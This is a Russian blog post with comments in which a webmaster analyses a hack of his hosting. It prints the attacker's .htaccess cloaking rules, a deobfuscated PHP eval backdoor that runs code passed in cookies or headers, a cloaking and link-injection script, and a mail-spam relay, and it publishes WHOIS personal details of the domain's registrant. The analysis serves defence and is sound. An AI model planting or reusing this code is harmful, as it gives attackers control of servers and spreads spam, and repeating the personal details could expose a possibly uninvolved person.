Всем привет, я вебмастер и меня виагра
Доброго времени суток Хабр,
Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.
О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.
Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.
Разбираемся в произошедшем
Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.
404 Not Found
Not Found
The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.
Additionally, a 500 Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.
Apache Server at *******.** Port 80
Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:
RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]
Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.
Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:
Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.
Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.
Разбор полёта червяИтак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:
RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]
0){
if(isset($_POST["chk"])){
$val = array();
$val["res"] = 1;
print json_encode($val);
}else{
$post_data = array_values(array_map('stripslashes', $_POST));
$m_data = explode("|||", base64_url_decode(strrev($post_data[0])));
if(count($m_data) > 1){
$val = array();
if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){
$val["mail"] = 1;
} else{
$val["mail"] = 0;
}
print json_encode($val);
}
}
}
if(isset($_GET) and count($_GET) > 0){
$url = "";
$redic = array_values($_GET);
foreach(str_split(base64_url_decode($redic[0])) as $letter){
if(rand(1,3) == 1){
$url .= $letter;
}else{
$url .= $letter."'+'";
}
}
?>
Redirecting
Loading...
0){
if(isset($_POST["chk"])){
$val = array();
$val["res"] = 1;
print json_encode($val);
}else{
$post_data = array_values(array_map('stripslashes', $_POST));
$m_data = explode("|||", base64_url_decode(strrev($post_data[0])));
if(count($m_data) > 1){
$val = array();
if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){
$val["mail"] = 1;
} else{
$val["mail"] = 0;
}
print json_encode($val);
}
}
}
if(isset($_GET) and count($_GET) > 0){
$url = "";
$redic = array_values($_GET);
foreach(str_split(base64_url_decode($redic[0])) as $letter){
if(rand(1,3) == 1){
$url .= $letter;
}else{
$url .= $letter."'+'";
}
}
?>
Redirecting
Loading...
Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.
Самым первым появился kfcgmxuu.php, вот что он делает.
$i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
eval(strrev(base64_decode(strrev($a)));
На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.
Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:
' . "\n";
echo '' . "\n";
echo '404 Not Found ' . "\n";
echo '' . "\n";
echo 'Not Found
' . "\n";
echo 'The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.
' . "\n";
echo '
' . "\n";
echo '' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80' . "\n";
echo '';
exit;
} else {
$crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
$buf = get_page_by_curl($crurl);
$curx = $cdir . "fff.sess";
if (@file_exists($curx)) {
$links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
$c = @count($links) - 1;
shuffle($links);
if ($c > 20)
$c = 20;
$regexp = "]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
if (preg_match_all("/$regexp/siU", $buf, $matches)) {
$zval = $matches[0];
shuffle($zval);
foreach ($zval as $val) {
if ($c < 0)
break;
list($l, $anchor) = explode("|||", trim($links[$c]));
$new = '' . $anchor . '';
$buf = str_ireplace($val, $new, $buf);
$c--;
}
}
}
echo $buf;
}
}
И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля, а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.
Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:
Имя: Gabriel Northrup
Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
Email: vlasigor3@gmail.com
Может кто знает человека ;)
Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка »~/tmp» и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.
Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.
А теперь разберём .htaccess:
RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]
Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.
Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.
ЗаключениеВот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.
В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.
Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.
Комментарии (16)
24 октября 2016 в 11:21
0↑
↓
.htaccess закрывать 444 правами… ну зачем… да?24 октября 2016 в 11:26
0↑
↓
Если взломали сервер, это не поможет.24 октября 2016 в 11:32
0↑
↓
файлы можно загрузить и не имея доступа к серверу.
К автору статьи — (он так и не выяснил причины взлома) — так какие права на файл .htaccess были?24 октября 2016 в 11:38
0↑
↓
404, как ни странно. Но я еще раз повторю, права на файл можно менять.24 октября 2016 в 11:42
0↑
↓
Тогда ок. Просто этот аспект вы упустили в описании выявления взлома.У вас не был подключен яндекс вебмастер? Он присылает письма если сайт заражен
24 октября 2016 в 11:46
0↑
↓
Был подключен только Google Analytics, который письмо не прислал. Search Console по идее тоже должен уведомлять.
24 октября 2016 в 11:33
0↑
↓
А потом меня еще спрашивают, за что я на люблю PHP…24 октября 2016 в 11:49
+1↑
↓
При наличии возможности заливать файлы на сервер язык программирования уже не имеет значения.24 октября 2016 в 11:55
0↑
↓
в связке, например, nginx + nodejs такой взлом вряд ли удастся., а если еще все разнести в docker контейнеры, то все интереснее становится. для взломщика, конечно.
я не говорю что невозможно, но гораздо сложнее взломать простой заливкой файлов. на шаред хостинге так кончено не настроишься
24 октября 2016 в 11:50
+2↑
↓
А при чем тут PHP? Взломали то не через него, как пишет автор.24 октября 2016 в 11:52
0↑
↓
Это маловероятно, но не исключено. Т.к. заметил поздно, логов никаких не сохранилось. Но Yii взламывать, как написал в статье, не зная структуру сайта сложно.
24 октября 2016 в 12:01 (комментарий был изменён)
0↑
↓
Любляна, Ивана Цупала? Серьезно? :)24 октября 2016 в 12:04
–3↑
↓
>и меня виагра
Автор вы русский? Какие ваши доказательства?24 октября 2016 в 12:04
0↑
↓
Какая версия php на сервере?24 октября 2016 в 12:06
–1↑
↓
5.3
24 октября 2016 в 12:04
0↑
↓
> Вы проверили ваши сервера после прочтения?Когда??? Я едва дочитал текст и сразу наткнулся на опрос. Дайте хоть пару минут :-)